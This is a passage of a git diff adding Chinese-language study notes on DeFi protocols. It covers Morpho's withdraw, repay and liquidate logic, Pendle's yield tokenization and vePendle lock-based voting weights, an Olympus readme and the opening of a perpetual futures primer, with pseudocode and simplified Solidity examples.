+	borrow(Morpho, unmatched)              // 从 compound 中提取 剩余 p2p supply
+
+	transfer(Morpho, user, initialAmount)  // 转移资金给用户
+```  
+
+### 关键点解析  
+资金 withdraw 顺序    
+假设当前进行 withdraw 的用户为 User_A  
+- 初始状态时，Morpho 池子处于平衡状态，即所有的 Borrow 都匹配了 p2p
+<img src=./pictures/supplyBorrowBalance.png width=50% /> 
+
+- 用户 User_A 有部分资金在 p2p 中，部分资金在 pool 中
+- 当 User_A 进行 withdraw 时，首先提取 User_A 在 pool 中的资金，此时所有的 Borrow 依然全部匹配 p2p
+- 在讲解 Borrow 接口的时候，我们讲到会存在 $\Delta P2P_{supply}$ 的情况，那么用户在 withdraw 的时候，会优先提取这部分的资金，相当于补偿 Morpho protocl 的损失   
+<img src=./pictures/supplyDelta.png width=50% /> 
+    
+- 之后，User_A 提取剩余 p2p 的资金 ，这里假设为 100 Dai ，同时从 pool 中寻中替代的 supplier 提供 p2p 贷款，此时所有的 Borrow 依然全部匹配 p2p
+- 如果在上一个寻找替代的 p2p supplier 时，只找到 20 Dai ，那么从 Compound 中提取这 20 Dai 还给用户，对于剩余的 80 Dai 进行如下处理。  
+<img src=./pictures/borrowOverFlow.png width=50% />  
+
+- 尝试对 80 Dai 对应的 Borrower 做 unmatch 处理，即改变这些 borrower 的借款利率，使之从 p2p 模式变为 pool 模式            
+<img src=./pictures/supplyMatch.png width=50% />    
+
+- 在 unmatch 接口中，同样需要传入一个 _maxGasForMatching，用于计算在 unmatch 过程中允许消耗的最大 gas。
+    
+    ```solidity
+    /// @notice Unmatches borrowers' liquidity in peer-to-peer for the given `_amount` and moves it to Compound.
+        /// @dev Note: This function expects and peer-to-peer indexes to have been updated.
+        /// @param _poolToken The address of the market from which to unmatch borrowers.
+        /// @param _amount The amount to unmatch (in underlying).
+        /// @param _maxGasForMatching The maximum amount of gas to consume within a matching engine loop.
+        /// @return The amount unmatched (in underlying).
+        function _unmatchBorrowers(
+            address _poolToken,
+            uint256 _amount,
+            uint256 _maxGasForMatching
+        ) internal returns (uint256) {
+    ```
+    
+- 如果传入一个很小的值，那么会造成只 unmatch 部分 p2p 资金 ，这里假设 unmatch 了 20 Dai ， 那么还剩余 80 - 20 = 60 Dai 的 p2p 资金没有 unmatch。这个时候 Morpho 就会让这 60 Dai 对应的 borrower 继续保持 p2p 借贷的利率，同时记录 delta.p2pBorrowDelta 作为没有匹配到 p2p 的 borrow 资金。    
+<img src=./pictures/borrowUnmatch.png width=50% />  
+
+- 最后，从 Comound 中借出剩余的 80 Dai 还给用户。这里可以看到，实际这部分 delta.p2pBorrowDelta 是 Morpho 从 Compound 借出来，但是按照 p2p 的利率提供给 Borrow 的，这样中间就会产生一个利率差  
+
+## Repay  
+repay 的接口流程伪代码如下    
+```
+repay(user, amount):
+	update_Index()       // 更新 Index
+	if amount > borrow_p2p(user) * index_p2p + borrow_pool(user) * index_pool:
+		return
+
+	transfer(user, Morpho, amount)     // 准入用户 repay 资金到 Morpho
+
+	// Pool repay
+	repaidOnPool = min(amount, b_pool(user) * index_pool)   // 优先偿还 pool 的借贷资金
+	borrow_pool(user) -= repaidOnPool / index_pool
+	amount -= repaidOnPool
+	repay(Morpho, repaidOnPool)
+
+	// Promote borrowers
+	matched = matchBorrowers(amount)                // 如果当前 user 是 p2p 匹配用户
+	borrow_p2p(user) -= matched / index_p2p         // 则寻找 replace borrower
+	amount -= matched
+	repay(Morpho, matched)
+
+	// Demote suppliers
+	unmatched = unmatchSuppliers(amount)           // 对于剩余的 p2p borrower 资金,
+	borrow_p2p(user) -= unmatched / index_p2p      // 如果未找到 replace borrower,
+	supply(Morpho, unmatched)                      // 则尝试把对应的 p2p supplier 降级为 pool supplier
+```
+
+### 关键点解析  
+#### 资金 repay 顺序
+
+- 假设用户 pool borrow 资金为 20 Dai, p2p borrow 资金为 80 Dai。那么用户首先需要偿还 pool borrow 部分的 20 Dai 资金
+    
+<img src=./pictures/repayBalance.png width=50% /> 
+    
+- pool borrow 资金偿还后，用户剩下的 borrow 资金就是 p2p 资金，这里为 80 Dai
+    
+<img src=./pictures/replayMatch.png width=50% />   
+    
+- 更新 borrower 的 p2p 资金。
+    
+    这里需要注意的是，borrower 的 p2p 资金更新是在 repay p2p 之前的，因为后面更新 Morpho p2p borrow amount 的时候还需要额外计算一部分利息
+    
+    ```solidity
+    borrowerBorrowBalance.inP2P -= Math.min(
+                borrowerBorrowBalance.inP2P,
+                vars.remainingToRepay.div(vars.p2pBorrowIndex)
+            );
+    ```
+    
+- 在讲 withdraw 接口的时候，我们提到在 Borrow 这边会存在 $\Delta P2P_{borrow}$ 的情况。那么这里用户进行 repay 的时候，Morpho 会检测是否存在  $\Delta P2P_{borrow}$ ，如果存在，则用户需要优先支付这部分的 borrow 资金 ，这里假设   $\Delta P2P_{borrow}$  为 10 Dai， 那么剩余需要 repay 的资金为 80 - 10 = 70 Dai。  
+    
+    需要注意的是，这里用户偿还  $\Delta P2P_{borrow}$   时，实际是在补偿 Morpho protocl 的亏损，而不是用户自己的   
+
+    <img src=./pictures/repayBorrowDelta.png width=50% />  
+    
+- 更新 Morhpo protocl 的 p2pBorrowAmount，p2pSupplyAmount。
+    
+    主意这里更新全局的 p2pBorrowAmount 的时候，会把  $\Delta P2P_{supply}$ 产生的利息差计算进去进行更新
+    
+    ```solidity
+    
+    // Fee = (p2pBorrowAmount - p2pBorrowDelta) - (p2pSupplyAmount - p2pSupplyDelta).
+    // No need to subtract p2pBorrowDelta as it is zero.
+    vars.feeToRepay = Math.zeroFloorSub(
+                    delta.p2pBorrowAmount.mul(vars.p2pBorrowIndex),
+                    delta.p2pSupplyAmount.mul(vars.p2pSupplyIndex).zeroFloorSub(
+                        delta.p2pSupplyDelta.mul(ICToken(_poolToken).exchangeRateStored())
+                    )
+                );
+    
+                if (vars.feeToRepay > 0) {
+                    uint256 feeRepaid = Math.min(vars.feeToRepay, vars.remainingToRepay);
+                    vars.remainingToRepay -= feeRepaid;
+                    delta.p2pBorrowAmount -= feeRepaid.div(vars.p2pBorrowIndex);
+                    emit P2PAmountsUpdated(_poolToken, delta.p2pSupplyAmount, delta.p2pBorrowAmount);
+                }
+    ```
+    
+    <img src=./pictures/repaySupplyDelta.png width=50% /> 
+    
+- 到这一步的时候，Morpho 池子中消除了原始存在的 $\Delta P2P_{supply}$  和 $\Delta P2P_{borrow}$  。
+        
+    和 withdraw 的时候类似，这个时候就是在 $Pool_{borrow}$ 中寻找替代者。
+        
+    但是如果找不到可以提到的 borrower 的时候，又会产生新的 $\Delta P2P_{supplyNew}$ 
+        
+    <img src=./pictures/repayP2P.png width=50% /> 
+        
+    - 对于这个  $\Delta P2P_{supplyNew}$ 继续进行处理，最直接的方式就是把这部分的 supplier 降级。这里使用 _unmatchSuppliers 进行降级处理。
+        
+        跟  _unmatchBorrowers 接口一样，调用时会传入一个 _maxGasForMatching，用于计算在 unmatch 过程中允许消耗的最大 gas。所以依然存在 $\Delta P2P_{supplyNew}$  无法完全消除的情况
+        
+        ```solidity
+        /// @notice Unmatches suppliers' liquidity in peer-to-peer up to the given `_amount` and moves it to Compound.
+            /// @dev Note: This function expects Compound's exchange rate and peer-to-peer indexes to have been updated.
+            /// @param _poolToken The address of the market from which to unmatch suppliers.
+            /// @param _amount The amount to search for (in underlying).
+            /// @param _maxGasForMatching The maximum amount of gas to consume within a matching engine loop.
+            /// @return The amount unmatched (in underlying).
+            function _unmatchSuppliers(
+                address _poolToken,
+                uint256 _amount,
+                uint256 _maxGasForMatching
+            ) internal returns (uint256) {
+        ```
+        
+    - $\Delta P2P_{supplyNew}$  无法完全消除时，更新 p2pSupplyDelta 的值，然后把剩余的 repay 资金转入 Compound 并结束此次处理
+        
+        ```solidity
+        if (vars.remainingToRepay > 0) {
+                    uint256 unmatched = _unmatchSuppliers(
+                        _poolToken,
+                        vars.remainingToRepay,
+                        vars.remainingGasForMatching
+                    );
+        
+                    // Increase the peer-to-peer supply delta.
+                    if (unmatched < vars.remainingToRepay) {
+                        delta.p2pSupplyDelta += (vars.remainingToRepay - unmatched).div(
+                            ICToken(_poolToken).exchangeRateStored() // Exchange rate has already been updated.
+                        );
+                        emit P2PSupplyDeltaUpdated(_poolToken, delta.p2pSupplyDelta);
+                    }
+        
+                    delta.p2pSupplyAmount -= unmatched.div(vars.p2pSupplyIndex);
+                    delta.p2pBorrowAmount -= vars.remainingToRepay.div(vars.p2pBorrowIndex);
+                    emit P2PAmountsUpdated(_poolToken, delta.p2pSupplyAmount, delta.p2pBorrowAmount);
+        
+                    _supplyToPool(_poolToken, underlyingToken, vars.remainingToRepay); // Reverts on error.
+                }
+        ```
+        
+
+## Liquidate
+
+liquidate 的接口流程伪代码如下
+
+```solidity
+liquiate(user, amount):
+	update_Index()           // 更新 Index
+	liquidationAllowed()     // 判断是否可以被清算
+
+	_unsafeRepay()         // 调用内部 repay 接口进行 repay
+  _unsafeWithdraw()     // 调用内部 withdraw 接口进行 withdraw
+```
+
+### 关键点解析
+
+- 清算逻辑  
+Morpho 使用和 Compound 同样的 oracle，closeFactor 和 liquidationIncentive 进行清算，即保持和 Compound 完全相同的清算处理
+
+
+## 参考链接
+- https://github.com/etherhood/Morpho-Looper/blob/main/src/MorphoLooper.sol
\ No newline at end of file
diff --git a/defi/OlympusDao/Olympus Intro for dApp Learning.pdf b/defi/OlympusDao/Olympus Intro for dApp Learning.pdf
new file mode 100644
index 000000000..b29b663ad
Binary files /dev/null and b/defi/OlympusDao/Olympus Intro for dApp Learning.pdf differ
diff --git a/defi/OlympusDao/readme.md b/defi/OlympusDao/readme.md
new file mode 100644
index 000000000..2276d2821
--- /dev/null
+++ b/defi/OlympusDao/readme.md
@@ -0,0 +1,8 @@
+# OHM
+
+
+
+## 代码解析 
+## 参考链接
+- 视频解析: slides Olympus Intro for dApp Learning.pdf
+- 原理介绍： https://forum.olympusdao.finance/d/77-oip-18-reward-rate-framework-and-reduction
diff --git a/defi/Pendle/readme.md b/defi/Pendle/readme.md
new file mode 100644
index 000000000..949562995
--- /dev/null
+++ b/defi/Pendle/readme.md
@@ -0,0 +1,135 @@
+# Pendle 项目详细介绍
+
+Pendle 是一个去中心化金融（DeFi）协议，致力于实现收益代币化（Yield Tokenization），使用户能够将未来收益分割出来进行交易、锁定和管理。通过 Pendle，用户不仅可以获得资产的当前价值，还能在链上将未来的收益拆分成独立的流动性代币，进而实现收益的提前变现或交易套利。
+
+
+
+## 1. 背景与项目动机
+
+### 1.1 DeFi 收益变现的痛点
+
+在传统 DeFi 应用中，用户参与流动性挖矿、借贷或其他收益型产品后，其收益往往会随着时间不断累积，但资产本身的流动性却受限，无法在不影响协议稳定性的前提下实现提前变现。Pendle 的出现正是为了解决这一痛点，通过收益代币化（Yield Tokenization）技术，将未来收益拆分成可交易的独立代币，为用户提供灵活的收益管理工具。
+
+### 1.2 项目愿景
+
+Pendle 希望建立一个全新的收益交易市场，让用户可以将未来的收益流进行自由买卖。这样不仅能为收益提供流动性，还能通过价格发现机制反映市场对未来收益的预期，从而为整个 DeFi 生态注入新的活力。
+
+> **示意图 1**：  
+> ![Pendle 项目架构图](https://docs.pendle.finance/assets/images/high_level_architecture-457bcdd55f399a2d90b8c7bd9e2b6a09.png)  
+> *图 1：Pendle 协议整体架构示意图，展示了资产、收益代币与市场交易三大模块之间的关系。*
+
+
+
+## 2. 核心概念与技术原理
+
+### 2.1 收益代币（Yield Tokenization）
+
+在 Pendle 协议中，用户参与 DeFi 产品后获得的收益会被拆分为两部分：
+- **基础资产（Principal Token，PT）：** 表示用户在协议中存入的本金。
+- **未来收益权（Yield Token，YT）：** 表示用户未来在一定期限内获得的收益权利。
+
+这种设计使得收益与本金实现拆分，用户可以根据自身需求选择持有本金或出售未来收益权。
+
+> **示意图 2**：  
+> ![收益拆分示意图](https://docs.pendle.finance/assets/images/vependle_crosschain-039f915aa660c870da7fd1d41f0ddaad.png)  
+> *图 2：收益拆分示意图，展示如何将资产拆分为 PT 与 YT，用户可以分别交易或持有。*
+
+### 2.2 协议工作流程
+
+1. **存入资产**  
+   用户将其资产存入 Pendle 协议（例如 USDC、ETH 等），并获得等值的 PT 与 YT。
+
+2. **收益产生与拆分**  
+   当用户存入资产后，协议会自动根据参与的 DeFi 产品计算未来收益，并将收益权通过 YT 代币表示出来。用户可以继续持有或选择出售 YT。
+
+3. **交易与套利**  
+   用户可以在 Pendle 内置的交易市场上自由买卖 YT，实现对未来收益的提前变现或利用收益差价进行套利交易。
+
+4. **到期与清算**  
+   当收益期限结束后，持有 PT 的用户可以赎回本金及对应的实际收益，而 YT 则失去价值或根据清算机制进行销毁。
+
+
+
+## 3. 关键模块与功能介绍
+
+### 3.1 资产管理模块
+
+- **存取管理**  
+  用户可以通过 Pendle 平台存入支持的资产，系统将自动进行收益权拆分，并生成相应的 PT 和 YT。
+  
+- **资产监控**  
+  平台提供实时资产监控工具，显示用户持仓、收益预期及市场行情，帮助用户做出投资决策。
+
+### 3.2 交易市场模块
+
+- **收益权交易市场**  
+  Pendle 内置专门的 YT 交易市场，用户可以在此买卖未来收益权，实现提前变现或投机操作。
+
+- **价格发现机制**  
+  通过市场交易，Pendle 能够实时反映市场对未来收益的预期，形成动态价格，为投资者提供参考。
+
+### 3.3 清算与到期模块
+
+- **到期清算**  
+  在收益期限结束后，协议自动清算，持有 PT 的用户可赎回本金及实际收益，而 YT 根据规则销毁或清算。
+
+- **智能合约保障**  
+  整个过程由一系列经过审计的智能合约驱动，确保各项操作公开透明、无需信任第三方。
+
+
+## 4. Pendle 的生态优势与应用场景
+
+### 4.1 灵活的流动性管理
+
+Pendle 允许用户对未来收益进行分离与交易，为那些急需流动性的用户提供了灵活的变现手段。同时，通过收益交易市场，用户可以参与收益套利，实现收益最大化。
+
+### 4.2 风险分散与资产组合优化
+
+通过收益拆分，用户可以根据自身风险偏好选择持有本金或出售未来收益权，从而实现资产配置的多样化与风险分散。这对于机构投资者或资产管理者来说，具有很高的应用价值。
+
+### 4.3 创新性的 DeFi 生态
+
+Pendle 的收益代币化创新为 DeFi 生态引入了全新的资产类型和交易品种，丰富了 DeFi 产品线。未来，随着更多资产和收益产品的接入，Pendle 有望形成一个庞大的收益市场生态系统，推动整个行业的进步。
+
+
+
+## 5. 技术架构与安全性
+
+### 5.1 智能合约设计
+
+- **模块化设计**  
+  Pendle 的智能合约采用模块化设计，分离资产存取、收益计算、市场交易和清算等功能，既便于维护和升级，又降低了单一合约出现漏洞的风险。
+
+- **严格审计**  
+  为了确保协议安全性，所有智能合约均经过多家安全审计机构的检查，并在社区测试阶段进行公开验证。
+
+### 5.2 数据透明与链上治理
+
+- **数据公开透明**  
+  协议运行数据全部记录在区块链上，任何人都可以查询，确保交易、清算和收益分配过程公开透明。
+  
+- **去中心化治理**  
+  随着生态的发展，Pendle 计划引入 DAO 治理机制，让社区共同参与决策，进一步提升系统的去中心化水平和抗风险能力。
+
+
+
+## 6. 发展路线图与未来展望
+
+### 6.1 当前阶段
+
+- **MVP 及测试网部署**  
+  Pendle 已主网上线，包括资产存入、收益拆分和初步的交易市场，开放更多资产类型的接入和更多样化的收益产品。
+
+### 6.2 中长期规划
+  
+- **生态扩展**  
+  通过与其他 DeFi 协议（如借贷、稳定币、流动性挖矿平台等）深度整合，进一步丰富收益市场生态，实现跨协议资产互操作。
+
+- **DAO 治理**  
+  启动去中心化治理，在生态逐步成熟后，让社区成员参与决策，共同推动项目持续迭代和完善。
+
+
+
+## 总结
+
+Pendle 作为一个专注于收益代币化的 DeFi 协议，通过创新的收益拆分机制，使用户能够将未来收益分离出来进行交易，实现灵活的流动性管理和风险分散。项目采用模块化智能合约设计、严格的安全审计和公开透明的数据记录，确保系统的稳定运行和用户资产的安全。未来，Pendle 有望成为 DeFi 领域中不可或缺的收益交易平台，为用户和机构投资者带来全新的投资机会。
diff --git a/defi/Pendle/vePendle.md b/defi/Pendle/vePendle.md
new file mode 100644
index 000000000..abe0136a5
--- /dev/null
+++ b/defi/Pendle/vePendle.md
@@ -0,0 +1,149 @@
+## 1. 模型原理及数学描述
+
+### (1) 锁仓与权重计算的核心思想
+
+vePendle 模型本质上是一个 **锁仓机制（Voting Escrow）**，用户通过锁定 PENDLE 代币，获得一个与锁定金额和锁定时长挂钩的非转让投票权。核心目标在于：  
+- **激励长期持有**：通过锁仓延长时间，用户能获得更高的治理权重和奖励；  
+- **权重动态衰减**：随着锁仓时间的流逝，投票权逐渐降低，确保治理权与锁定期限紧密绑定。
+
+最常见的数学公式描述为：
+
+\[
+\text{vePendle 权重} = \text{锁定金额} \times \frac{\text{剩余锁定时间}}{\text{最大锁定时间}}
+\]
+
+其中：  
+- **锁定金额** 是用户投入的 PENDLE 数量；  
+- **剩余锁定时间** = 锁定结束时间 - 当前时间；  
+- **最大锁定时间** 为系统预设的最大锁仓周期（例如 4 年）。
+
+这种设计保证了用户在锁仓期内，其治理权会**线性衰减**，从而鼓励用户延长锁定时间或频繁更新锁仓状态以保持较高权重。
+
+### (2) 权重随时间衰减的动态性
+
+与 Curve 的 veCRV 类似，vePendle 的核心在于动态计算用户的治理权重。假设用户在时刻 \(t_0\) 锁定 \(A\) 个代币，到期时间为 \(T\)（\(T \leq t_0 + \text{max\_lock}\)），那么任一时刻 \(t\)（\(t_0 \leq t \leq T\)）的投票权重可以表达为：
+
+\[
+w(t) = A \times \frac{T - t}{T - t_0} \quad \text{或} \quad w(t) = A \times \frac{T - t}{\text{max\_lock}}
+\]
+
+不同项目可能在公式上有细微区别：
+- 前者把初始锁仓时长作为归一化因子；
+- 后者统一使用最大锁仓时长，使得即使用户锁仓时间不足最大周期，权重也以相同标准计算。
+
+这种线性衰减设计确保了锁仓越接近结束，用户实际拥有的治理权越低；从而在治理过程中，迫使用户“续锁”或更新锁仓以保持较高权重。
+
+
+
+## 2. 代码实现细节与示例
+
+下面给出一个伪代码示例，展示如何在 Solidity 中计算和更新 vePendle 权重。注意这只是对核心逻辑的展示，实际合约会更为复杂，并会考虑安全、重入保护以及高效数据存储问题。
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract VePendle {
+    // 锁仓信息
+    struct LockInfo {
+        uint256 amount;       // 锁定的 PENDLE 数量
+        uint256 endTime;      // 锁仓结束时间
+        uint256 startTime;    // 锁仓开始时间（可选，用于更精细的计算）
+    }
+
+    // 用户地址映射到锁仓信息
+    mapping(address => LockInfo) public locks;
+
+    // 最大锁仓时间，例如：4年 = 4 * 365 * 86400 秒
+    uint256 public constant MAX_LOCK_TIME = 4 * 365 days;
+
+    // 事件通知：锁仓或更新
+    event Locked(address indexed user, uint256 amount, uint256 endTime);
+
+    // 用户锁仓函数
+    function lock(uint256 _amount, uint256 _lockDuration) external {
+        require(_lockDuration > 0 && _lockDuration <= MAX_LOCK_TIME, "Invalid lock duration");
+
+        // 计算结束时间
+        uint256 endTime = block.timestamp + _lockDuration;
+
+        // 此处省略代币转移逻辑（如 transferFrom 等）
+        locks[msg.sender] = LockInfo({
+            amount: _amount,
+            startTime: block.timestamp,
+            endTime: endTime
+        });
+
+        emit Locked(msg.sender, _amount, endTime);
+    }
+
+    // 计算当前 vePendle 权重
+    function getVoteWeight(address _user) public view returns (uint256) {
+        LockInfo memory lockInfo = locks[_user];
+        if (block.timestamp >= lockInfo.endTime) {
+            return 0;
+        }
+        // 剩余锁仓时间
+        uint256 remainingTime = lockInfo.endTime - block.timestamp;
+        // 权重 = 锁定金额 * (剩余时间 / 最大锁仓时间)
+        return lockInfo.amount * remainingTime / MAX_LOCK_TIME;
+    }
+}
+```
+
+### 关键点解析
+
+- **锁仓函数**：用户调用 `lock` 函数时，必须指定锁定数量和锁仓时长，系统计算出结束时间，并记录用户锁仓信息。实际应用中，还需要校验用户余额、调用 ERC20 的 `transferFrom` 等操作。
+
+- **权重计算**：`getVoteWeight` 函数根据当前时间动态计算用户剩余锁仓时间，再按照比例返回用户的治理权重。注意使用整型除法时可能存在精度损失，实际实现中可考虑使用高精度数学库或调整单位（例如使用 wei）。
+
+- **状态更新**：用户可以在锁仓期内对锁仓信息进行续锁（延长 endTime）或增加锁定量，系统需设计相应的更新函数，同时调整对应的权重。  
+
+
+
+## 3. 激励机制与治理设计
+
+### (1) 治理权与奖励挂钩
+
+vePendle 模型通常不仅赋予治理投票权，还将奖励分配（如交易费分红、流动性挖矿加成等）与用户的 vePendle 权重挂钩。这样一来，治理权越大，用户在系统中享受的额外收益也越多，从而鼓励用户长期持有和参与治理。
+
+### (2) 防止短期操控
+
+由于投票权随着时间衰减，短期内大量买入 PENDLE 并锁仓虽然可以瞬间获得较高权重，但如果不续锁或延长锁定时间，其权重会迅速下降。这降低了“快进快出”用户对治理的短期操控风险，使治理决策更具持续性和合理性。
+
+### (3) 动态调整与续锁激励
+
+为了鼓励用户延长锁仓期，协议可设计动态激励机制，比如：
+- 在锁仓期接近结束时，通过奖励“续锁”行为（例如额外奖励或投票权加成）来防止大量用户同时解锁；
+- 设计自动续锁功能，让用户在解锁窗口自动选择延长锁仓周期，保持治理权稳定。
+
+
+
+## 4. 潜在风险与优化挑战
+
+### (1) 流动性问题
+
+长期锁仓虽然能提升治理稳定性，但也会降低市场上 PENDLE 的流动性，可能在市场波动时加剧价格波动。解决方案包括设计部分流动性激励措施或支持质押衍生品。
+
+### (2) 解锁窗口集中风险
+
+当大量用户的锁仓期在同一时间到期时，可能导致治理权迅速下降及市场抛压。为缓解此风险，可采用以下策略：
+- **分散解锁时间**：在用户锁仓时引入随机化或限制每个周期内可解锁的比例；
+- **预告机制**：提前通知用户解锁窗口，引导用户续锁或逐步退出。
+
+### (3) 算法复杂度与 gas 优化
+
+实时计算权重可能涉及高频调用，如何在保证精度的同时降低 gas 消耗，是设计时必须考虑的点。常见做法包括：
+- 利用“快照”机制，在治理投票前批量更新状态；
+- 使用“延迟更新”策略，仅在用户交互时计算最新权重。
+
+
+
+## 5. 总结
+
+vePendle 模型通过锁仓获得动态衰减的治理权重，不仅将治理权与长期承诺挂钩，还为激励机制设计提供了灵活空间。其核心技术要点包括：
+- **权重的线性衰减**：通过剩余锁仓时间与最大锁仓期的比例来计算治理权重；
+- **激励机制设计**：锁仓与奖励、治理挂钩，鼓励用户长期持有并参与生态治理；
+- **风险与优化**：面对流动性、解锁集中风险和 gas 成本，设计者需要在安全性、用户体验与系统性能之间找到平衡。
+
+这一模型在技术上借鉴了成熟的 veCRV 思路，同时针对 Pendle 生态的特定需求做出调整，为去中心化金融项目提供了既稳定又灵活的治理和激励方案。
\ No newline at end of file
diff --git a/defi/Pendle/yield tokenization.md b/defi/Pendle/yield tokenization.md
new file mode 100644
index 000000000..e98b489ad
--- /dev/null
+++ b/defi/Pendle/yield tokenization.md	
@@ -0,0 +1,118 @@
+从 Pendle 项目的架构设计、收益代币化机制、智能合约实现、数据与风险管理等多个角度，对其核心技术进行深入分析.
+
+## 1. 项目架构与整体设计
+
+Pendle 的核心创新在于“收益代币化”（Yield Tokenization），其整体架构围绕这一核心概念展开。主要包括以下几个关键模块：
+
+- **资产拆分模块**  
+  当用户存入某种资产参与 DeFi 收益（如存款、流动性挖矿、借贷等）后，系统会将存入资产拆分为两个部分：  
+  - **本金代币（Principal Token，PT）：** 表示用户原始投入的资产部分，通常在到期后可以赎回。  
+  - **收益代币（Yield Token，YT）：** 表示用户在收益期间内享有的未来收益权，这部分代币可以在市场上自由交易，实现收益提前变现或套利操作。
+
+- **交易与定价模块**  
+  Pendle 内部建立了一个专门的收益权交易市场，通过市场交易实现对未来收益的定价。借助市场价格发现机制，用户可以在该市场上买卖 YT，市场价格反映了市场对未来收益预期的判断。
+
+- **清算与到期管理模块**  
+  在收益周期结束后，系统依据智能合约规定自动清算：  
+  - 持有 PT 的用户可按预定规则赎回本金和实际收益；  
+  - YT 则根据合约机制被销毁或进行相应的结算处理，确保系统资金平衡和收益兑现。
+
+
+## 2. 收益代币化机制
+
+Pendle 的核心技术突破在于收益代币化，主要体现在以下技术实现细节上：
+
+### 2.1 收益拆分逻辑
+
+- **收益计算与预测**  
+  协议在用户存入资产时，根据当前 DeFi 协议（例如借贷、流动性挖矿等）的收益模型预测未来一段时间内的收益。  
+  - 收益预测模型通常依赖历史数据、市场波动以及协议参数，利用数学模型预估未来可能的收益率。  
+  - 系统在预估基础上，将预期收益权与本金进行拆分，生成对应的 YT 和 PT。
+
+- **拆分合约设计**  
+  拆分逻辑由专门的智能合约实现，这部分合约需要具备：
+  - 精确计算用户收益预期，并将收益与本金拆分为两种独立的代币。  
+  - 同时保证拆分比例与预期收益模型的一致性，确保后续清算时能够按照约定规则分配实际收益。
+
+### 2.2 代币标准与交互
+
+- **代币接口规范**  
+  为了实现资产的流动性和跨协议交互，Pendle 对 PT 和 YT 均采用标准化代币接口（如 ERC-20 或兼容标准），便于在各类 DeFi 协议和交易所中进行流通和交易。
+  
+- **收益权的二级市场**  
+  YT 的设计使得用户可以将未来收益权在二级市场上进行买卖，从而实现流动性管理和收益变现。  
+  - 这一机制依赖于智能合约与自动化做市商（AMM）模型相结合，通过算法自动撮合交易。  
+  - 市场价格由供需关系决定，进而反映出市场对未来收益预期的变化。
+
+
+## 3. 智能合约架构与安全设计
+
+Pendle 协议的核心逻辑主要通过智能合约实现，为保障协议安全和高效运行，项目在设计上采取了以下措施：
+
+### 3.1 模块化合约架构
+
+- **分层设计**  
+  Pendle 的智能合约按照功能分层设计，各模块之间相互独立又相互协作，主要包括：
+  - **资产管理合约：** 负责用户资产存入、拆分生成 PT 和 YT。  
+  - **收益计算合约：** 根据预设模型计算未来收益，并管理拆分比例。  
+  - **交易市场合约：** 提供 YT 的买卖接口、订单撮合及定价机制。  
+  - **清算合约：** 在收益周期结束时触发清算流程，按规则分发实际收益。
+
+- **可升级设计**  
+  采用代理合约（Proxy Pattern）或模块化合约架构，使得后续可以在不破坏系统整体稳定性的前提下，升级各个模块的实现，提高系统适应市场变化的能力。
+
+### 3.2 安全性保障措施
+
+- **代码审计**  
+  所有核心合约均经过第三方安全审计，识别并修复潜在漏洞，确保在运行过程中资金安全。  
+- **多重验证与测试**  
+  在主网发布前，协议经过 extensive 测试网验证，包括单元测试、集成测试及模拟攻击测试，确保合约在各种场景下稳定运行。  
+- **数据透明和链上记录**  
+  所有操作均在链上公开记录，用户和第三方可以随时查阅，增加了系统透明度和信任度。
+
+
+## 4. 数据处理与风险管理
+
+在收益代币化和交易过程中，Pendle 需要处理大量实时数据和预期收益计算，同时面临市场波动和套利风险。为此，项目采取了以下技术措施：
+
+### 4.1 数据实时更新与预测模型
+
+- **数据采集**  
+  协议通过链上数据和外部预言机（Oracle）获取市场价格、收益率、流动性等实时信息，为收益预测模型提供数据支持。  
+- **动态调整模型**  
+  根据实时市场数据动态调整收益预测参数，保证拆分时的预估尽可能接近实际收益情况，从而降低清算时因误差带来的风险。
+
+### 4.2 风险控制机制
+
+- **滑点保护与限价单**  
+  在 YT 交易过程中，为防止因市场剧烈波动造成用户损失，系统可能引入滑点保护机制及限价单策略，确保用户在预定价格范围内成交。  
+- **清算风险管理**  
+  清算合约中设定了严密的规则，确保在收益到期时，用户能够按照约定规则领取本金和收益。针对收益预测偏差等问题，系统也可能设计额外的风险准备金或补偿机制。
+
+
+## 5. 技术优势与未来发展
+
+### 5.1 创新性与应用场景
+
+- **收益变现的创新路径**  
+  Pendle 的核心技术使得 DeFi 用户能够在持有资产的同时，通过拆分未来收益获得流动性，为借贷、套利、风险对冲等场景提供了更多可能性。  
+- **多资产与跨协议支持**  
+  随着协议不断扩展，Pendle 计划支持更多资产类型和不同 DeFi 协议，构建跨资产、跨协议的收益交易生态系统。
+
+### 5.2 技术演进方向
+
+- **智能合约功能扩展**  
+  未来可能在现有模块基础上引入更多自动化策略，如自动再投资、收益再分配等，提升整体系统的效率与收益。  
+- **DAO 治理与参数动态调整**  
+  引入去中心化治理机制，让社区共同参与收益预测模型和参数设置的调整，提升系统灵活性和适应市场变化的能力。
+
+
+## 总结
+
+Pendle 通过创新的收益代币化技术，将 DeFi 收益拆分为本金代币和收益代币，实现了未来收益的流动性管理和交易。其核心技术包括：
+
+1. **资产拆分与收益代币化机制：** 利用智能合约将用户资产拆分为 PT 与 YT，实现收益提前变现和交易套利；
+2. **模块化智能合约架构：** 采用分层设计、可升级架构和严格的安全审计，确保协议的安全性和稳定性；
+3. **数据驱动的收益预测与风险管理：** 通过预言机和动态模型实时调整收益预估，结合风险控制措施应对市场波动。
+
+这些技术创新为 Pendle 构建了一个全新的收益交易市场，既为用户提供了灵活的资产管理工具，也为整个 DeFi 生态注入了新的活力。随着协议不断完善和生态扩展，Pendle 有望在 DeFi 领域中发挥越来越重要的作用。
\ No newline at end of file
diff --git a/defi/Perpetual-V1/README.md b/defi/Perpetual-V1/README.md
new file mode 100644
index 000000000..fd62f7e2e
--- /dev/null
+++ b/defi/Perpetual-V1/README.md
@@ -0,0 +1,111 @@
+# Perpetual V1
+
+## 期货原理
+
+### 期货
+
+一般来说，获得某种资产风险敞口最简单的方式，便是购买并持有这种产品的现货。但是直接持有现货却有两个固有缺陷:
+
+1. 现货往往还有储藏、运输等附加成本；
+2. 是资金效率着实不高（无法加杠杆），为了持有一单位的风险敞口，投资者必须使用等量的资金购买现货。
+
+### 期货合约
+
+因此，在经过数百年的发展后，人们逐渐摸索出了一种可以脱离现货，直接通过衍生品对现货风险敞口进行管理的新方式。这便是期货合约，以及配套的保证金交易制度。
+**期货合约想要达到的目的，便是使投资者能够在不持有现货的同时，对现货的风险敞口进行交易和管理**
+
+在交割日当天，买卖期货便完全等价于买卖现货，因此交割日当天的期货价格与现货价格必然相等。
+期货合约维持与现货价格锚定的核心，便是实物交割机制。
+
+缺点:
+
